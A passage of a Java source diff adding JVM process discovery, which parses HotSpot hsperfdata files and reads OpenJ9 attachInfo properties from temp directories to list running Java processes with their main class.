continue;
|
||||||
|
}
|
||||||
|
if (!seen.add(fileName)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
String javaCommand = parsePerfData(pidFile);
|
||||||
|
result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static List<File> getTempDirectories() {
|
||||||
|
List<File> dirs = new ArrayList<File>();
|
||||||
|
String osName = System.getProperty("os.name", "");
|
||||||
|
if (osName.startsWith("Windows")) {
|
||||||
|
dirs.add(new File(System.getProperty("java.io.tmpdir")));
|
||||||
|
} else {
|
||||||
|
dirs.add(new File("/tmp"));
|
||||||
|
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||||
|
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||||
|
dirs.add(new File(javaIoTmpDir));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dirs;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String parsePerfData(File file) {
|
||||||
|
FileInputStream fis = null;
|
||||||
|
try {
|
||||||
|
fis = new FileInputStream(file);
|
||||||
|
long fileLength = file.length();
|
||||||
|
if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
byte[] data = new byte[(int) fileLength];
|
||||||
|
int totalRead = 0;
|
||||||
|
int bytesRead;
|
||||||
|
while (totalRead < data.length
|
||||||
|
&& (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
|
||||||
|
totalRead += bytesRead;
|
||||||
|
}
|
||||||
|
if (totalRead < MIN_PERFDATA_SIZE) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
|
||||||
|
buffer.order(ByteOrder.BIG_ENDIAN);
|
||||||
|
int magic = buffer.getInt();
|
||||||
|
if (magic != PERFDATA_MAGIC) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
byte byteOrder = buffer.get();
|
||||||
|
if (byteOrder == 1) {
|
||||||
|
buffer.order(ByteOrder.LITTLE_ENDIAN);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte majorVersion = buffer.get();
|
||||||
|
buffer.get(); // minor version
|
||||||
|
buffer.get(); // accessible / reserved
|
||||||
|
|
||||||
|
if (majorVersion < 2) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
buffer.getInt(); // used
|
||||||
|
buffer.getInt(); // overflow
|
||||||
|
buffer.getLong(); // mod_time_stamp
|
||||||
|
int entryOffset = buffer.getInt();
|
||||||
|
int numEntries = buffer.getInt();
|
||||||
|
|
||||||
|
int pos = entryOffset;
|
||||||
|
for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
|
||||||
|
buffer.position(pos);
|
||||||
|
int entryLength = buffer.getInt();
|
||||||
|
if (entryLength <= 0 || pos + entryLength > totalRead) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
int nameOffset = buffer.getInt();
|
||||||
|
buffer.getInt(); // vector_length
|
||||||
|
buffer.get(); // data_type
|
||||||
|
buffer.get(); // flags
|
||||||
|
byte dataUnits = buffer.get();
|
||||||
|
buffer.get(); // data_variability
|
||||||
|
int dataOffset = buffer.getInt();
|
||||||
|
|
||||||
|
int nameStart = pos + nameOffset;
|
||||||
|
if (nameStart < 0 || nameStart >= totalRead) {
|
||||||
|
pos += entryLength;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
int nameEnd = nameStart;
|
||||||
|
while (nameEnd < totalRead && data[nameEnd] != 0) {
|
||||||
|
nameEnd++;
|
||||||
|
}
|
||||||
|
String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
|
||||||
|
|
||||||
|
if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
|
||||||
|
int dataStart = pos + dataOffset;
|
||||||
|
if (dataStart < 0 || dataStart >= totalRead) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
int dataEnd = dataStart;
|
||||||
|
while (dataEnd < totalRead && data[dataEnd] != 0) {
|
||||||
|
dataEnd++;
|
||||||
|
}
|
||||||
|
return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
|
||||||
|
}
|
||||||
|
|
||||||
|
pos += entryLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
return "";
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return "";
|
||||||
|
} finally {
|
||||||
|
if (fis != null) {
|
||||||
|
try {
|
||||||
|
fis.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
/* do nothing */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean isNumeric(String str) {
|
||||||
|
if (str == null || str.isEmpty()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
for (int i = 0; i < str.length(); i++) {
|
||||||
|
if (str.charAt(i) < '0' || str.charAt(i) > '9') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String extractMainClass(String javaCommand) {
|
||||||
|
if (javaCommand == null || javaCommand.isEmpty()) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
int spaceIndex = javaCommand.indexOf(' ');
|
||||||
|
return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories.
|
||||||
|
*/
|
||||||
|
private static class OpenJ9ProcessDiscovery {
|
||||||
|
|
||||||
|
private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
|
||||||
|
private static final String ATTACH_INFO_FILE = "attachInfo";
|
||||||
|
|
||||||
|
static List<JavaProcessDescriptor> discover() {
|
||||||
|
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||||
|
for (File attachDir : getAttachDirectories()) {
|
||||||
|
if (!attachDir.isDirectory()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File[] vmDirs = attachDir.listFiles();
|
||||||
|
if (vmDirs == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for (File vmDir : vmDirs) {
|
||||||
|
if (!vmDir.isDirectory()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
|
||||||
|
if (!attachInfo.isFile() || !attachInfo.canRead()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
FileInputStream fis = null;
|
||||||
|
try {
|
||||||
|
Properties props = new Properties();
|
||||||
|
fis = new FileInputStream(attachInfo);
|
||||||
|
props.load(fis);
|
||||||
|
String pid = props.getProperty("processId");
|
||||||
|
String displayName = props.getProperty("displayName", "");
|
||||||
|
if (pid != null && pid.length() > 0) {
|
||||||
|
result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
/* do nothing */
|
||||||
|
} finally {
|
||||||
|
if (fis != null) {
|
||||||
|
try {
|
||||||
|
fis.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
/* do nothing */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static List<File> getAttachDirectories() {
|
||||||
|
List<File> dirs = new ArrayList<File>();
|
||||||
|
String osName = System.getProperty("os.name", "");
|
||||||
|
if (osName.startsWith("Windows")) {
|
||||||
|
dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
|
||||||
|
} else {
|
||||||
|
dirs.add(new File("/tmp", ATTACH_DIR_NAME));
|
||||||
|
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||||
|
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||||
|
dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
|
||||||
|
if (ibmAttachDir != null) {
|
||||||
|
dirs.add(new File(ibmAttachDir));
|
||||||
|
}
|
||||||
|
return dirs;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user